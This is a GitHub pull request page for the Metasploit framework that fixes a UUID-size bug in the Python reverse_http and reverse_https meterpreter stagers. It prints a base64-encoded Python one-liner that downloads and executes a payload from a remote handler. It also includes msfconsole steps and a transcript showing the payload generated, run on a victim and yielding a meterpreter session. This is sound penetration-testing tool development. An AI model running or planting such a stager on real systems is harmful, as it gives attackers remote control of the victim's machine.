Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Fix Python reverse_http & reverse_https #12443

Merged
merged 1 commit into from
Oct 11, 2019
Merged

Fix Python reverse_http & reverse_https #12443

merged 1 commit into from
Oct 11, 2019

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Oct 11, 2019 •
edited by OJ
Loading

This pull request fixes a bug in Python's reverse_http and reverse_https stagers. There's an issue where if the size is not large enough1 to store the UUID that the UUID will be omitted2, causing the stager to fail to transfer and load.

This increases the size from 5 to 30, to allow the UUID to be included and then updates the payload's cached size. The bug affects both the HTTP and HTTPS versions due to the code reuse.

Verification

  • Start msfconsole
  • Run use payload/python/meterpreter/reverse_http
  • Set the options as appropriate
  • Run to_handler to start a handler
  • Run generate -f raw to get the stager
  • Execute the payload and get a functioning session

Original (Broken) Output

python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJ10pCmhzPVtdCm89dWwuYnVpbGRfb3BlbmVyKCpocykKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJyldCmV4ZWMoby5vcGVuKCdodHRwOi8vMTkyLjE2OC45MC4xOjgwODAvQVlIODYnKS5yZWFkKCkpCg==')))"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "<string>", line 7, in <module>
  File "<string>", line 1
    <html><body><h1>It works!</h1></body></html>
    ^
SyntaxError: invalid syntax

This bug seems to have been related to commit 5621d20.

@zeroSteiner zeroSteiner requested a review from OJ October 11, 2019 02:17
@OJ OJ self-assigned this Oct 11, 2019
OJ
OJ approved these changes Oct 11, 2019
View reviewed changes
Copy link
Contributor

@OJ OJ left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM. Typical that I'd be the jerk that ruined it in the first place!

@OJ
Copy link
Contributor

OJ commented Oct 11, 2019

Attacker:

msf5 payload(python/meterpreter/reverse_http) > set LHOST 192.168.146.156
LHOST => 192.168.146.156
msf5 payload(python/meterpreter/reverse_http) > set LPORT 8888
LPORT => 8888
msf5 payload(python/meterpreter/reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf5 payload(python/meterpreter/reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.146.156:8888

msf5 payload(python/meterpreter/reverse_http) > generate -f raw -o /tmp/met.py
[*] Writing 526 bytes to /tmp/met.py...

msf5 payload(python/meterpreter/reverse_http) > jobs

Jobs
====

  Id  Name                    Payload                          Payload opts
  --  ----                    -------                          ------------
  0   Exploit: multi/handler  python/meterpreter/reverse_http  http://192.168.146.156:8888

Victim:

$ python3 /tmp/met.py

Attacker:

msf5 payload(python/meterpreter/reverse_http) > 
[*] http://192.168.146.156:8888 handling request from 192.168.146.156; (UUID: x5kzdlt7) Staging python payload (53933 bytes) ...
[*] Meterpreter session 1 opened (192.168.146.156:8888 -> 192.168.146.156:36000) at 2019-10-11 14:45:04 +1000

msf5 payload(python/meterpreter/reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: oj

OJ added a commit that referenced this pull request Oct 11, 2019
@OJ
Land #12443 Fix Python reverse_http/s
82c77a4
@OJ OJ merged commit 85a39f7 into rapid7:master Oct 11, 2019
@OJ
Copy link
Contributor

OJ commented Oct 11, 2019

Release Notes

This PR fixes an issue with the Python reverse_http and reverse_https payloads. Payload invocation worked, however the first stage was not being generated correctly, resulting in no session and an error being thrown from the Python interpreter. This PR fixes this issue by fixing cached sizes and URI sizes.

msjenkins-r7 pushed a commit that referenced this pull request Oct 11, 2019
@OJ @msjenkins-r7
Land #12443 Fix Python reverse_http/s
4672811
@tperry-r7 tperry-r7 added the rn-fix release notes fix label Oct 30, 2019
@zeroSteiner zeroSteiner deleted the fix/python-http branch February 23, 2021 17:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@OJ OJ OJ approved these changes

Assignees

@OJ OJ

Labels
bug rn-fix release notes fix
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

None yet
3 participants
@zeroSteiner @OJ @tperry-r7